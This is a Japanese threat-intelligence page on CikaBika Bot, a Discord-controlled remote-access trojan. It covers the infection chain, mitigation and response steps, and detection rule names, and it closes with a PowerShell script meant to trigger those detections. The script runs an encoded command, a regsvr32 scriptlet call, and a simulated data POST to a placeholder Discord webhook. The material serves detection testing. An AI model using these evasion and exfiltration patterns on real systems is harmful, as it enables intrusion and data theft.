CikaBikaボット分析:Discord RATの動作
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
CikaBika BotはRustで作成されたリモートアクセス型トロイの木馬で、悪意のあるLNKファイルやPDF文書などのフィッシングにより拡散されます。このマルウェアはNimベースのローダーを使用してPowerShellのUAC回避をトリガーし、Microsoft Edgeに対してDLL検索順序のハイジャックを行います。感染システムを管理し、複数の悪意のあるコマンドを実行するために、Discordをコマンド&コントロールプラットフォームとして利用します。
調査
Darktraceの研究者は、悪意のあるショートカットとおとりのPDFを含むディスクイメージから始まる感染チェーンを分析しました。調査は、テンポラリのテキストファイルからMicrosoft Edgeのアプリケーションディレクトリに配置されたハイジャックされたDLLへのペイロードを追跡しました。研究者はまた、このRATが偵察のためにDiscordを使用し、ngrokを使ってデータの流出を行っていることも観察しました。
緩和策
組織は、信頼できないソースから入手したLNKファイルやディスクイメージの実行に対して厳しい制御を施すべきです。ユーザーアカウント制御(UAC)設定を強化し、HKLM/HKCUシェルコマンドに関連する無許可のレジストリ変更を監視することで、回避試行を防ぐことができます。セキュリティチームは、異常なMicrosoft Edgeの子プロセスや、Discordまたはngrokの無許可の使用を監視する必要があります。
対応策
CikaBika Botの活動が検出された場合、感染したエンドポイントをネットワークから隔離してDiscordのC2チャンネルを妨害します。フォレンジック分析を行い、 %TEMP% ディレクトリとMicrosoft Edgeのインストールパスを調査し、悪意のある dbghelp.dllを特定します。ipify.comやngrokに関連する不審な接続をネットワークテレメトリで確認し、データ流出の可能性範囲を評価します。
攻撃フロー
この部分はまだ更新中です。
検出
二重拡張子を持つ可能性のある悪意のあるLNKファイル(cmdlineを介して)
Powershellコマンドラインから呼び出された疑わしい.NETクラス/メソッド(プロセス作成を介して)
疑わしいCURLの使用(cmdlineを介して)
Powershellから呼び出される疑わしい.NETメソッド(powershellを介して)
Powershellから呼び出される疑わしいWindows API関数(powershellを介して)
Powershellの難読化指標の可能性(powershellを介して)
ポートトンネリングサービスの可能性(dnsを介して)
検出すべきIOC(HashMd5):CikaBika Bot:Discord RAT内
データ流出用に実行されたPowershellとRegsvr32(Discord経由)[Windows Powershell]
デコードされたRATペイロードの実行とプロセス偵察[Windowsプロセス作成]
シミュレーション実行
-
攻撃の流れとコマンド: 敵対者は初期アクセスを得ました。検出を避けるため、彼らはエンコードされたPowerShellコマンドを介してペイロードを実行しようとします。コマンド文字列には”PowerShell UAC bypass”というダミーコメントが含まれ、特定のルールロジックをトリガーします。この後、敵対者は
regsvr32.exeを使用してリモートスクリプトレットを実行しようとします(テスト中のネットワークノイズを避けるためにローカルファイルでシミュレート)。最後に、敵対者はPowerShellを使用してDiscordのWebhook URLにダミーのPOSTリクエストを送信することでデータ流出をシミュレートします。 -
回帰テストスクリプト:
# シミュレーションスクリプト:CikabikaスタイルのDiscord流出の模倣 Write-Host "[+] シミュレーション開始..." # 1. 'selection_uac_bypass'と'selection_powershell_encoded'条件をシミュレート # コマンドには文字列'PowerShell UAC bypass'が含まれ、'-enc'を使用 $command = "Write-Output 'Malicious Payload'; # PowerShell UAC bypass" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] バイパス文字列と共にエンコードされたPowershellの実行中..." powershell.exe -enc $encodedCommand # 2. 'selection_regsvr32'をシミュレート # これはルールの'AND'条件の後半をトリガー Write-Host "[+] Regsvr32を実行中..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. 'selection_discord_exfil'をシミュレート # これは'AND'条件の後半の代替パスを提供 Write-Host "[+] Discord流出をシミュレート中..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'" Write-Host "[+] シミュレーション完了。 -
クリーンアップコマンド:
# クリーンアップ:シミュレーション中に作成されたテンポラリファイルを削除します(存在する場合)。 # この特定のシミュレーションではディスクへのファイル書き込みは行われませんでしたが、 # プロセスツリーを清掃します。 Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] クリーンアップ完了。